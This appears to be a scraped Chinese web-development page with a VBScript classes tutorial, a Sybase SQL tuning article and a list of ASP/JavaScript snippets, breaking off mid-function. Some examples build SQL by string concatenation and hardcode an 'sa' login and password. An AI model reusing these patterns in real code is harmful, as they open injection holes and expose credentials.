' Returns the minimum number greater than 0 ' If both are 0, returns -1 Function fMin(iNum1, iNum2) If iNum1 = 0 AND iNum2 = 0 Then fMin = -1 ElseIf iNum2 = 0 Then fMin = iNum1 ElseIf iNum1 = 0 Then fMin = iNum2 ElseIf iNum1 < iNum2 Then fMin = iNum1 Else fMin = iNum2 End If End Function
Function fCheckLine (ByVal strLine) Dim iTemp, iPos fCheckLine = 0 iTemp = 0
iPos = InStr(strLine, "<" & "%") If fMin(iTemp, iPos) = iPos Then iTemp = iPos fCheckLine = 1 End If
iPos = InStr(strLine, "%" & ">") If fMin(iTemp, iPos) = iPos Then iTemp = iPos fCheckLine = 2 End If
iPos = InStr(1, strLine, "<" & "SCRIPT", 1) If fMin(iTemp, iPos) = iPos Then iTemp = iPos fCheckLine = 3 End If
iPos = InStr(1, strLine, "<" & "/SCRIPT", 1) If fMin(iTemp, iPos) = iPos Then iTemp = iPos fCheckLine = 4 End If
iPos = InStr(1, strLine, "<" & "!--", 1) If fMin(iTemp, iPos) = iPos Then iTemp = iPos fCheckLine = 5 End If
iPos = InStr(1, strLine, "-" & "->", 1) If fMin(iTemp, iPos) = iPos Then iTemp = iPos fCheckLine = 6 End If
End Function
Sub PrintHTML (ByVal strLine) Dim iPos, iSpaces, i iSpaces = Len(strLine) - Len(LTrim(strLine)) i = 1 'Correct for tabs While Mid(Strline, i, 1) = Chr(9) iSpaces = iSpaces + 5 i = i + 1 Wend 'Insert spaces If iSpaces > 0 Then For i = 1 to iSpaces Response.Write(" ") Next End If iPos = InStr(strLine, "<") If iPos Then Response.Write(Left(strLine, iPos - 1)) Response.Write("<") strLine = Right(strLine, Len(strLine) - iPos) Call PrintHTML(strLine) Else Response.Write(strLine) End If End Sub
Sub PrintLine (ByVal strLine, iFlag) Dim iPos Select Case iFlag Case 0 Call PrintHTML(strLine)
Case 1 iPos = InStr(strLine, "<" & "%") Call PrintHTML(Left(strLine, iPos - 1)) Response.Write("<FONT COLOR=#ff0000>") Response.Write("<%") strLine = Right(strLine, Len(strLine) - (iPos + 1)) Call PrintLine(strLine, fCheckLine(strLine))
Case 2 iPos = InStr(strLine, "%" & ">") Call PrintHTML(Left(strLine, iPos -1)) Response.Write("%>") Response.Write("</FONT>") strLine = Right(strLine, Len(strLine) - (iPos + 1)) Call PrintLine(strLine, fCheckLine(strLine))
Case 3 iPos = InStr(1, strLine, "<" & "SCRIPT", 1) Call PrintHTML(Left(strLine, iPos - 1)) Response.Write("<FONT COLOR=#0000ff>") Response.Write("<SCRIPT") strLine = Right(strLine, Len(strLine) - (iPos + 6)) Call PrintLine(strLine, fCheckLine(strLine))
Case 4 iPos = InStr(1, strLine, "<" & "/SCRIPT>", 1) Call PrintHTML(Left(strLine, iPos - 1)) Response.Write("</SCRIPT>") Response.Write("</FONT>") strLine = Right(strLine, Len(strLine) - (iPos + 8)) Call PrintLine(strLine, fCheckLine(strLine))
Case 5 iPos = InStr(1, strLine, "<" & "!--", 1) Call PrintHTML(Left(strLine, iPos - 1)) Response.Write("<FONT COLOR=#0000ff>") Response.Write("<!--") strLine = Right(strLine, Len(strLine) - (iPos + 3)) Call PrintLine(strLine, fCheckLine(strLine))
Case 6 iPos = InStr(1, strLine, "-" & "->", 1) Call PrintHTML(Left(strLine, iPos - 1)) Response.Write("-->") Response.Write("</FONT>") strLine = Right(strLine, Len(strLine) - (iPos + 2)) Call PrintLine(strLine, fCheckLine(strLine))
Case Else Response.Write("Function Error -- Please contact the administrator.") End Select End Sub %>
|
|
在VBScript中使用类 
|
前言
首先,在我进入实质性主题并解释如何建立类之前,我希望保证你知道“对象”。虽然你可以在程序中使用对象而不用知道其正确的规则,但我并不建议如此!对于对象的初学者,接下来的部分将让你了解其概念及内容。已经了解面向对象编程(OOP)的读者可以跳过这章节。
导论
l “对象是什么?”——对象通常代表某种实体,主要是一个变量和函数的集合。
l “实体是什么?”——字面上说,实体是一个“事物”,我的意思是一个概念或者任何一个物体。例如,一辆汽车是一个实体,因为它是一个物体。你公司销售部门销售产品也是一个实体,当然,你也可以将其拆开来看,销售人员、客户、产品等都是实体。
让我们更深入的来看“销售”这个实体(对象)。为了使你更准确地有一个销售的“映像”,你需要知道客户买了什么,是哪个客户,谁是销售人员等等……这看来是一个简单的事件,但假设所有信息是存储在单独的数据库表中的,那么当你需要获得某个销售过程所有相关信息时,你必须在你的数据库中做多次独立查询,再将所有的数据集拢。有没有更简便的办法而一次获得销售的所有信息呢?“对象”。
在对象中,你可以植入代码以从其他表中获得数据,你也可以保存对象属性的所有信息,这样,你可以轻松地使用代码管理你的销售数据。例如:
'Open the database connection Set objConn = Server.CreateObject("ADODB.Connection") objConn.Open "MyDSN"
'Create the recordset object Set objRS = Server.CreateObject("ADODB.Recordset")
'Define the SQL query strComplexSQLQuery = "SELECT C.Name, S.Name FROM Customers C, " & _ "Salespeople S, Sales Sl WHERE Sl.CustomerID=C.ID AND " & _ "Sl.SalespersonID=S.ID AND Sl.ID=" & strIDOfThisSale & ";"
'Open the recordset objRS.Open strComplexSQLQuery, objConn, adOpenForwardOnly, _ adLockReadOnly, adCmdText
'Take the customer and sales person names from the recordset strCustomerName = objRS(0) strSalesPersonName = objRS(1)
'Tidy up the objects objRS.Close objConn.Close Set objRS = Nothing Set objConn = Nothing
'Output the data Response.Write "This sale was made by " & strSalesPersonName & _ " to " & strCustomerName
可以使用“对象”来替代:
'Create the "Sale" object Set objSale = New Sale
'Lookup the correct sale objSale.ID = strIDOfThisSale
'Output the data Response.Write "This sale was made by " & objSale.SalesPersonName & _ " to " & objSale.CustomerName
'Tidy up the objects objSale.Close Set objSale = Nothing 如果你使用“Sale”对象做比打印更多的事,可以让你省去很多的打字时间。
计算中,对象包括“属性”和“方法”。属性主要是储存在对象中的一个变量,其用法与变量相同。唯一的区别在于参数赋值为:strMyVar = "This is a string variant", 而对象属性为 objObject.Property="This is a string variant"。这点非常简单而有用处。方法可以理解为植入对象中的函数与过程,可以使用strMyVar = objObject.MethodName(strMyVar)来代替strMyVar =FunctionName(strMyVar)。写法不同,但功能相同。属性的一个例子是对象Response中的ExpireAbsolute,Response.ExpiresAbsolute = CDate("1 September 1999")。方法的一个例子是对象Response中的Write方法,Response.Write "Hello world!"。
VBScript的一个新特性就是其可以创建新的对象而不需要求诸于花销时间都极大的编译器。我将向读者展示如何创建对象的类,并希望提供一个良好的开端。
创建对象
在VBScript中创建对象类型(类)时,你首先要知道,这真的很容易!我在一个下午自学,只是阅读了Microsof VB Script 的参考书,但必须承认,这书不是最容易阅读的文档。
初学者需要安装VBScript 5.0引擎,可以在Microsoft's Scripting Site下载。
我们来看代码。类的定义与函数和子过程非常类似。起始行为Class <MyClassName>,结尾是End Class,所有的对象定义写在中间部门。现在我们可以用所学的来建立第一个类,不实现任何功能的类。
Class 4GuysTestObject
End Class
这看上去不是那么回事,但当你写入下面的代码后,你将创建一个对象的实例:
Dim objTestObject
Set objTestObject = New 4GuysTestObject
Set objTestObject = Nothing
显然,我们现在还不能用对象做任何事,现在我将解释如何在对象中定义属性和方法。
使用对象可以做的最基础的,是建立一组数据。例如,假如要将时间、日期及视频程序标题建立在一起,你可以创建一个包含属性“StartTime”, “ProgramDate”和“ProgramTitle”的对象。代码如下:
Class TVProgram
Public StartTime
Public ProgramDate
Public ProgramTitle
End Class
Dim objTVShow
Set objTVShow = New TVProgram
objTVShow.StartTime = CDate("17:30")
objTVShow.ProgramDate = DateSerial(1999,9,17)
objTVShow.ProgramTitle = "The Jerry Springer Show"
Response.Write objTVShow.ProgramTitle & " is on at " & _
objTVShow.StartTime & " on " & objTVShow.ProgramDate
代码工作的方式是,我们定义StartTime,ProgramDate和ProgramTitle为类TVProgram的属性。这样,这些属性就像其他变量一样来处理,没有设置值则不会执行代码。属性名字前的Public字段有其真实含义,而且非常重要。如果你不特指一个方法或属性为public或private,系统默认值为public,但最好养成定义任何值的良好书写习惯(也方便你之后自己的阅读)。
上面程序的结果大致如下(决定于你的本地服务器配置):
The Jerry Springer Show is on at 5:30pm on 17/09/99.
我在英国,所以日期现实如上。不论你跑什么工程,它的效果都不错,但只有你开始使用其他对象的功能,为你可能需要的所有信息和功能,创建一个完美的接口,以支持你所建对象包围的实体,你才会体会到对象的真正实力。
现在,如果你不喜欢上面例子显示日期的方法,而希望以同一种格式现实日期,也没有不要在引用每个ProgramDate属性时加FormatDateTime(),你只需要将此类代码植入属性本身。
这样需要用另一种方法定义属性。同样,我们将使用ProgramDate为外部可见属性,但因为ProgramDate属性将成为一个函数而不是静态值,我们将实际日期保存在另一个属性中internal_ProgramDate。
Class TVProgram Public StartTime
Public internal_ProgramDate
Public Property Get ProgramDate ProgramDate = Day(internal_ProgramDate) & _ " " & MonthName(Month(internal_ProgramDate)) & _ " " & Year(internal_ProgramDate) End Property
Public ProgramTitle End Class
Dim objTVShow Set objTVShow = New TVProgram
objTVShow.StartTime = CDate("17:30") objTVShow.internal_ProgramDate = DateSerial(1999,9,17) objTVShow.ProgramTitle = "The Jerry Springer Show"
Response.Write objTVShow.ProgramTitle & " is on at " & _ objTVShow.StartTime & " on " & objTVShow.ProgramDate & "."
程序的结果如下:
The Jerry Springer Show is on at 5:30pm on 17 September 1999. 我们来分析一下(2)中的程序:
Class TVProgram
Public StartTime
Public internal_ProgramDate
Public Property Get ProgramDate
ProgramDate = Day(internal_ProgramDate) & _
" " & MonthName(Month(internal_ProgramDate)) & _
" " & Year(internal_ProgramDate)
End Property
Public ProgramTitle
End Class
Dim objTVShow
Set objTVShow = New TVProgram
objTVShow.StartTime = CDate("17:30")
objTVShow.internal_ProgramDate = DateSerial(1999,9,17)
objTVShow.ProgramTitle = "The Jerry Springer Show"
Response.Write objTVShow.ProgramTitle & " is on at " & _
objTVShow.StartTime & " on " & objTVShow.ProgramDate & "."
当调用对象的属性ProgramDate时,实际上执行了函数ProgramDate,即如上定义的函数,而很快你也将习惯这种在声明部分使用Public或Private关键字的方式。关键字“Property”,告知了编译器如同调用属性一样在外部调用函数。接着的“Get”,表明该函数是输出还是获得一个值。
Get的意思是“允许外部代码去‘获取’一个值”,与其类似的关键字还有“Let”和“Set”,但这两个比较复杂,因而我们以后再讨论。
接下去的代码看来有点难度的,给objectname.internal_ProgramDate赋值并通过objectname.ProgramDate来调用它。如果可以使用相同关键字同时为其赋值并获得它的值不是更好吗?当然,那也可以。
如果定义Get和Let属性的名称相同,可以将它们当作对象相同的属性,但这只限于它们定义了相同数量的成员。(以下代码看来不太相同,仅作为实例参考)
Class TVProgram
Public StartTime
Public internal_ProgramDate
Public Property Get ProgramDate
ProgramDate = Day(internal_ProgramDate) & " " _
& MonthName(Month(internal_ProgramDate)) & _
" " & Year(internal_ProgramDate)
End Property
Public Property Let ProgramDate(ByVal varDateIn)
internal_ProgramDate = CDate(varDateIn)
End Property
Public ProgramTitle
End Class
Dim objTVShow
Set objTVShow = New TVProgram
objTVShow.StartTime = CDate("17:30")
objTVShow.ProgramDate = "17 Sept 99"
objTVShow.ProgramTitle = "The Jerry Springer Show"
Response.Write objTVShow.ProgramTitle & " is on at " & _
objTVShow.StartTime & " on " & objTVShow.ProgramDate & "."
以上代码中Let的声明部分看来似乎是一个多余的元素,当我第一次看到时研究了很长时间。每次我使用“0”作为变量用在每个属性上,我总是得到这个错误信息,“元素数量必须相等”。“它们确实相等!”抓狂之后,我回过头去看程序才觉得自己的愚蠢!:)
原因是,当你试图为ProgramDate赋值时,你会使用这样一行程序:
objTVShow.ProgramDate = dtmMyDate
为了方便,等号右边的值(这里指dtmMyDate)作为了一个程元赋给了函数。因此编译器可能会认为在Get ProgramDate行有0程元,而Let ProgramDate却多一个!分配的值总是被略过而作为属性的最后一个程元,所以即使你使用其他程元,所赋的值总是作为最后一个程元。
现在看程序。无论通过ProgramDate设置日期为文本形式,还是用internal_ProgramDate译成日期变量,程序都没有问题。但能不能只使用一个入口呢?
如果internal_ProgramDate只能在内部有效,而使用Let ProgramDate检查传输的数据类型,我们就可以作出选择。例如:
Class TVProgram
Public StartTime
Private internal_ProgramDate
Public Property Get ProgramDate
ProgramDate = Day(internal_ProgramDate) & " " & _
MonthName(Month(internal_ProgramDate)) & _
" " & Year(internal_ProgramDate)
End Property
Public Property Let ProgramDate(ByVal varDateIn)
If IsDate(varDateIn) Then
internal_ProgramDate = varDateIn
Else
'Place some error handling code in here.
End If
End Property
Public ProgramTitle
End Class
并同样声明StartTime属性:
Class TVProgram
Private internal_StartTime
Public Property Get StartTime
StartTime = Hour(internal_StartTime) & ":" _
& Minute(internal_StartTime)
End Property
Public Property Let StartTime(ByVal varTimeIn)
If IsDate(varTimeIn) Then
internal_StartTime = varTimeIn
End If
End Property
Private internal_ProgramDate
Public Property Get ProgramDate
ProgramDate = Day(internal_ProgramDate) & " " _
& MonthName(Month(internal_ProgramDate)) & _
" " & Year(internal_ProgramDate)
End Property
Public Property Let ProgramDate(ByVal varDateIn)
If IsDate(varDateIn) Then
internal_ProgramDate = varDateIn
End If
End Property
Public ProgramTitle
End Class
...
现在的代码离我们想要的还是有些不太实用,我们将在其他页使用类TVProgram,因此最好将其独立定义,以便所有也面都可以调用。我们将在第四部分讨论这点。
现在的代码离我们想要的还是有些不太实用,我们将在其他页使用类TVProgram,因此最好将其独立定义,以便所有也面都可以调用。创建一个ASP页面,并命名为TVProgramClass.asp,我们在其中定义类TVProgram。
--TVProgramClass.asp--
<%
Class TVProgram
Private internal_StartTime
Public Property Get StartTime
StartTime = Hour(internal_StartTime) & _
":" & Minute(internal_StartTime)
End Property
Public Property Let StartTime(ByVal varTimeIn)
If IsDate(varTimeIn) Then
internal_StartTime = varTimeIn
End If
End Property
Private internal_ProgramDate
Public Property Get ProgramDate
ProgramDate = Day(internal_ProgramDate) & _
" " & MonthName(Month(internal_ProgramDate)) & _
" " & Year(internal_ProgramDate)
End Property
Public Property Let ProgramDate(ByVal varDateIn)
If IsDate(varDateIn) Then
internal_ProgramDate = varDateIn
End If
End Property
Public ProgramTitle
End Class
%>
这样就可以在任何ASP中调用我们定义的类了,语法如下:
<!-- #include virtual="TVProgramClass.asp" --> <%
Dim objTVShow
Set objTVShow = New TVProgram
objTVShow.StartTime = CDate("17:30")
objTVShow.ProgramDate = DateSerial(1999,9,17)
objTVShow.ProgramTitle = "The Jerry Springer Show"
%>
<%= objTVShow.ProgramTitle %> is on at <%= objTVShow.StartTime %> on <%= objTVShow.ProgramDate %>.
这里有一个建议。如果你重命名你的包含文件.asp,并保证所有重要代码都在<CODE><% ... %>< CODE>中,那么就算有人猜到了你包含文件的文件名,也没办法看见里面的内容!
|
|
让你的SQL运行得更快
|
作者:人文在线 文章来源:本站原创 点击数:1465 更新时间:2004-7-1
人们在使用SQL时往往会陷入一个误区,即太关注于所得的结果是否正确,而忽略了不同的实现方法之间可能存在的性能差异,这种性能差异在大型的或是复杂的数据库环境中(如联机事务处理OLTP或决策支持系统DSS)中表现得尤为明显。笔者在工作实践中发现,不良的SQL往往来自于不恰当的索引设计、不充份的连接条件和不可优化的where子句。在对它们进行适当的优化后,其运行速度有了明显地提高!下面我将从这三个方面分别进行总结:
为了更直观地说明问题,所有实例中的SQL运行时间均经过测试,不超过1秒的均表示为(< 1秒)。
测试环境-- 主机:HP LH II 主频:330MHZ 内存:128兆 操作系统:Operserver5.0.4 数据库:Sybase11.0.3
一、不合理的索引设计 例:表record有620000行,试看在不同的索引下,下面几个 SQL的运行情况: 1.在date上建有一非个群集索引
select count(*) from record where date > '19991201' and date < '19991214'and amount > 2000 (25秒) select date,sum(amount) from record group by date (55秒) select count(*) from record where date > '19990901' and place in ('BJ','SH') (27秒)
分析: date上有大量的重复值,在非群集索引下,数据在物理上随机存放在数据页上,在范围查找时,必须执行一次表扫描 才能找到这一范围内的全部行。
2.在date上的一个群集索引
select count(*) from record where date > '19991201' and date < '19991214' and amount > 2000 (14秒) select date,sum(amount) from record group by date (28秒) select count(*) from record where date > '19990901' and place in ('BJ','SH')(14秒)
分析: 在群集索引下,数据在物理上按顺序在数据页上,重复值也排列在一起,因而在范围查找时,可以先找到这个范围的 起末点,且只在这个范围内扫描数据页,避免了大范围扫描,提高了查询速度。
3.在place,date,amount上的组合索引
select count(*) from record where date > '19991201' and date < '19991214' and amount > 2000 (26秒) select date,sum(amount) from record group by date (27秒) select count(*) from record where date > '19990901' and place in ('BJ, 'SH')(< 1秒)
分析: 这是一个不很合理的组合索引,因为它的前导列是place,第一和第二条SQL没有引用place,因此也没有利用上索 引;第三个SQL使用了place,且引用的所有列都包含在组合索引中,形成了索引覆盖,所以它的速度是非常快的。
4.在date,place,amount上的组合索引
select count(*) from record where date > '19991201' and date < '19991214' and amount > 2000(< 1秒) select date,sum(amount) from record group by date (11秒) select count(*) from record where date > '19990901' and place in ('BJ','SH')(< 1秒)
分析: 这是一个合理的组合索引。它将date作为前导列,使每个SQL都可以利用索引,并且在第一和第三个SQL中形成了索引 覆盖,因而性能达到了最优。
5.总结:
缺省情况下建立的索引是非群集索引,但有时它并不是最佳的;合理的索引设计要建立在对各种查询的分析和预测 上。一般来说:
①.有大量重复值、且经常有范围查询
(between, >,< ,>=,< =)和order by 、group by发生的列,可考虑建立群集索引;
②.经常同时存取多列,且每列都含有重复值可考虑建立组合索引;
③.组合索引要尽量使关键查询形成索引覆盖,其前导列一定是使用最频繁的列。
二、不充份的连接条件: 例:表card有7896行,在card_no上有一个非聚集索引,表account有191122行,在 account_no上有一个非聚集索 引,试看在不同的表连接条件下,两个SQL的执行情况:
select sum(a.amount) from account a, card b where a.card_no = b.card_no(20秒)
将SQL改为: select sum(a.amount) from account a, card b where a.card_no = b.card_no and a. account_no=b.account_no(< 1秒)
分析: 在第一个连接条件下,最佳查询方案是将account作外层表,card作内层表,利用card上的索引,其I/O次数可由以下 公式估算为:
外层表account上的22541页+(外层表account的191122行*内层表card上对应外层表第一行所要查找的3页)=595907 次I/O
在第二个连接条件下,最佳查询方案是将card作外层表,account作内层表,利用account上的索引,其I/O次数可由 以下公式估算为:
外层表card上的1944页+(外层表card的7896行*内层表account上对应外层表每一行所要查找的4页)= 33528次I/O
可见,只有充份的连接条件,真正的最佳方案才会被执行。
总结:
1.多表操作在被实际执行前,查询优化器会根据连接条件,列出几组可能的连接方案并从中找出系统开销最小的最佳 方案。连接条件要充份考虑带有索引的表、行数多的表;内外表的选择可由公式:外层表中的匹配行数*内层表中每一次查 找的次数确定,乘积最小为最佳方案。
2.查看执行方案的方法-- 用set showplanon,打开showplan选项,就可以看到连接顺序、使用何种索引的信息;想 看更详细的信息,需用sa角色执行dbcc(3604,310,302)。
三、不可优化的where子句 1.例:下列SQL条件语句中的列都建有恰当的索引,但执行速度却非常慢:
select * from record where substring(card_no,1,4)='5378'(13秒) select * from record where amount/30< 1000(11秒) select * from record where convert(char(10),date,112)='19991201'(10秒)
分析: where子句中对列的任何操作结果都是在SQL运行时逐列计算得到的,因此它不得不进行表搜索,而没有使用该列上面 的索引;如果这些结果在查询编译时就能得到,那么就可以被SQL优化器优化,使用索引,避免表搜索,因此将SQL重写成 下面这样:
select * from record where card_no like '5378%'(< 1秒) select * from record where amount < 1000*30(< 1秒) select * from record where date= '1999/12/01' (< 1秒)
你会发现SQL明显快起来!
2.例:表stuff有200000行,id_no上有非群集索引,请看下面这个SQL:
select count(*) from stuff where id_no in('0','1') (23秒)
分析: where条件中的'in'在逻辑上相当于'or',所以语法分析器会将in ('0','1')转化为id_no ='0' or id_no='1'来执 行。我们期望它会根据每个or子句分别查找,再将结果相加,这样可以利用id_no上的索引;但实际上(根据showplan), 它却采用了"OR策略",即先取出满足每个or子句的行,存入临时数据库的工作表中,再建立唯一索引以去掉重复行,最后 从这个临时表中计算结果。因此,实际过程没有利用id_no上索引,并且完成时间还要受tempdb数据库性能的影响。
实践证明,表的行数越多,工作表的性能就越差,当stuff有620000行时,执行时间竟达到220秒!还不如将or子句分 开:
select count(*) from stuff where id_no='0' select count(*) from stuff where id_no='1'
得到两个结果,再作一次加法合算。因为每句都使用了索引,执行时间只有3秒,在620000行下,时间也只有4秒。或 者,用更好的方法,写一个简单的存储过程: create proc count_stuff as declare @a int declare @b int declare @c int declare @d char(10) begin select @a=count(*) from stuff where id_no='0' select @b=count(*) from stuff where id_no='1' end select @c=@a+@b select @d=convert(char(10),@c) print @d
直接算出结果,执行时间同上面一样快! 总结:
可见,所谓优化即where子句利用了索引,不可优化即发生了表扫描或额外开销。
1.任何对列的操作都将导致表扫描,它包括数据库函数、计算表达式等等,查询时要尽可能将操作移至等号右边。
2.in、or子句常会使用工作表,使索引失效;如果不产生大量重复值,可以考虑把子句拆开;拆开的子句中应该包含 索引。
3.要善于使用存储过程,它使SQL变得更加灵活和高效。
从以上这些例子可以看出,SQL优化的实质就是在结果正确的前提下,用优化器可以识别的语句,充份利用索引,减 少表扫描的I/O次数,尽量避免表搜索的发生。其实SQL的性能优化是一个复杂的过程,上述这些只是在应用层次的一种体 现,深入研究还会涉及数据库层的资源配置、网络层的流量控制以及操作系统层的总体设计。
|
|
网页制作必備之初級代碼 
|
1.获得系统时间: <%=now()%>
2.取得来访用的IP: <%=request.servervariables("remote_host")%>
3.获得系统,浏览器版本: <script> window.document.write("版本:"+navigator.appName+navigator.appVersion+" browser.") </script>
4.去除IE混动条: <body scroll="no"> <body style="overflow-y:hidden">
5.进入网站,跳出广告: <script language="javascript"> <!-- <!-- 注意更改文件所在路径--> window.open(''http://www.******.com','''',''height=200,width=300,top=0,left=30''); // --> </script>
6.随机数: <%randomize%> <%=(int(rnd()*n)+1)%> N为可改变数
7.向上混动代码: <marquee direction="up" scrolldelay="200" style="font-size: 9pt; color: #FF0000; line-height: 150%; font-style:italic; font-weight:bold" scrollamount="2" width="206" height="207" bgcolor="#FFFF00">hhhhhhhhhhhhhhhhhhh</marquee>
8.自动关闭网页: <script LANGUAGE="javascript"> <!-- setTimeout(''window.close();'', 10000); //60秒后关闭 // --> </script> <p align="center">本页10秒后自动关闭,请注意刷新页面</p>
9.随机背景音乐: <%randomize%> <bgsound src="mids/<%=(int(rnd()*60)+1)%>.mid" loop="-1">
可以修改数字,限制调用个数,我这里是60个.
10.自动刷新本页面: <script> <!-- var limit="0:10"
if (document.images){ var parselimit=limit.split(":") parselimit=parselimit[0]*60+parselimit[1]*1 } function beginrefresh(){ if (!document.images) return if (parselimit==1) window.location.reload() else{ parselimit-=1 curmin=Math.floor(parselimit/60) cursec=parselimit%60 if (curmin!=0) curtime=curmin+"分"+cursec+"秒后重刷本页!" else curtime=cursec+"秒后重刷本页!" window.status=curtime setTimeout("beginrefresh()",1000) } }
window.onload=beginrefresh file://--> </script>
11.ACCESS数据库连接: <% option explicit dim startime,endtime,conn,connstr,db startime=timer() '更改数据库名字 db="data/dvBBS5.mdb" Set conn = Server.CreateObject("ADODB.Connection") connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) '如果你的服务器采用较老版本Access驱动,请用下面连接方法 'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db) conn.Open connstr function CloseDatabase Conn.close Set conn = Nothing End function %>
12.SQL数据库连接: <% option explicit dim startime,endtime,conn,connstr,db startime=timer() connstr="driver={SQL Server};server=HUDENQ-N11T33NB;uid=sa;pwd=xsfeihu;database=dvbbs" Set conn = Server.CreateObject("ADODB.Connection") conn.Open connstr function CloseDatabase Conn.close Set conn = Nothing End function %>
13.用键盘打开网页代码: <script language="javascript"> function ctlent(eventobject) { if((event.ctrlKey && window.event.keyCode==13)||(event.altKey && window.event.keyCode==83)) { window.open('网址','','') } } </script>
这里是Ctrl+Enter和Alt+S的代码 自己查下键盘的ASCII码再换就行
14.让层不被控件复盖代码: <div z-Index:2><object ***></object></div> # 前面 <div z-Index:1><object ***></object></div> # 后面 <div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div> <div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>
15.FLASH广告代码: <object classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="468" height="60"><param name=movie value="images/yj16d.swf"><param name=quality value=high><embed src="images/dvbanner.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash";;;; type="application/x-shockwave-flash" width="468" height="60"></embed></object>
16.VBS弹出窗口小代码: <script language=vbscript> msgbox"你还没有注册或登陆论坛","0","精品论坛" location.href = "login.asp" </script> 16.使用FSO修改文件特定内容的函数 function FSOchange(filename,Target,String) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FiletempData = objCountFile.ReadAll objCountFile.Close FiletempData=Replace(FiletempData,Target,String) Set objCountFile=objFSO.CreateTextFile(Server.MapPath(filename),True) objCountFile.Write FiletempData objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing End function
17.使用FSO读取文件内容的函数 function FSOFileRead(filename) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FSOFileRead = objCountFile.ReadAll objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing End function
18.使用FSO读取文件某一行的函数 function FSOlinedit(filename,lineNum) if linenum < 1 then exit function dim fso,f,temparray,tempcnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close set f = nothing temparray = split(tempcnt,chr(13)&chr(10)) if lineNum>ubound(temparray)+1 then exit function else FSOlinedit = temparray(lineNum-1) end if end if end function
19.使用FSO写文件某一行的函数 function FSOlinewrite(filename,lineNum,Linecontent) if linenum < 1 then exit function dim fso,f,temparray,tempCnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close temparray = split(tempcnt,chr(13)&chr(10)) if lineNum>ubound(temparray)+1 then exit function else temparray(lineNum-1) = lineContent end if tempcnt = join(temparray,chr(13)&chr(10)) set f = fso.createtextfile(server.mappath(filename),true) f.write tempcnt end if f.close set f = nothing end function
20.使用FSO添加文件新行的函数 function FSOappline(filename,Linecontent) dim fso,f set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),8,1) f.write chr(13)&chr(10)&Linecontent f.close set f = nothing end function 21.读文件最后一行的函数 function FSOlastline(filename) dim fso,f,temparray,tempcnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close set f = nothing temparray = split(tempcnt,chr(13)&chr(10)) FSOlastline = temparray(ubound(temparray)) end if end function 利用FSO取得BMP,JPG,PNG,GIF文件信息(大小,宽、高等) <% '::: BMP, GIF, JPG and PNG :::
'::: This function gets a specified number of bytes from any ::: '::: file, starting at the offset (base 1) ::: '::: ::: '::: Passed: ::: '::: flnm => Filespec of file to read ::: '::: offset => Offset at which to start reading ::: '::: bytes => How many bytes to read ::: '::: ::: '::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: function GetBytes(flnm, offset, bytes) Dim objFSO Dim objFTemp Dim objTextStream Dim lngSize on error resume next Set objFSO = CreateObject("scripting.FileSystemObject")
' First, we get the filesize Set objFTemp = objFSO.GetFile(flnm) lngSize = objFTemp.Size set objFTemp = nothing fsoForReading = 1 Set objTextStream = objFSO.OpenTextFile(flnm, fsoForReading) if offset > 0 then strBuff = objTextStream.Read(offset - 1) end if if bytes = -1 then ' Get All! GetBytes = objTextStream.Read(lngSize) 'ReadAll else GetBytes = objTextStream.Read(bytes) end if objTextStream.Close set objTextStream = nothing set objFSO = nothing end function
'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: '::: ::: '::: functions to convert two bytes to a numeric value (long) ::: '::: (both little-endian and big-endian) ::: '::: ::: '::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: function lngConvert(strTemp) lngConvert = clng(asc(left(strTemp, 1)) + ((asc(right(strTemp, 1)) * 256))) end function function lngConvert2(strTemp) lngConvert2 = clng(asc(right(strTemp, 1)) + ((asc(left(strTemp, 1)) * 256))) end function
'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: '::: ::: '::: This function does most of the real work. It will attempt ::: '::: to read any file, regardless of the extension, and will ::: '::: identify if it is a graphical image. ::: '::: ::: '::: Passed: ::: '::: flnm => Filespec of file to read ::: '::: width => width of image ::: '::: height => height of image ::: '::: depth => color depth (in number of colors) ::: '::: strImageType=> type of image (e.g. GIF, BMP, etc.) ::: '::: ::: '::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: function gfxSpex(flnm, width, height, depth, strImageType) dim strPNG dim strGIF dim strBMP dim strType strType = "" strImageType = "(unknown)" gfxSpex = False strPNG = chr(137) & chr(80) & chr(78) strGIF = "GIF" strBMP = chr(66) & chr(77) strType = GetBytes(flnm, 0, 3) if strType = strGIF then ' is GIF strImageType = "GIF" Width = lngConvert(GetBytes(flnm, 7, 2)) Height = lngConvert(GetBytes(flnm, 9, 2)) Depth = 2 ^ ((asc(GetBytes(flnm, 11, 1)) and 7) + 1) gfxSpex = True elseif left(strType, 2) = strBMP then ' is BMP strImageType = 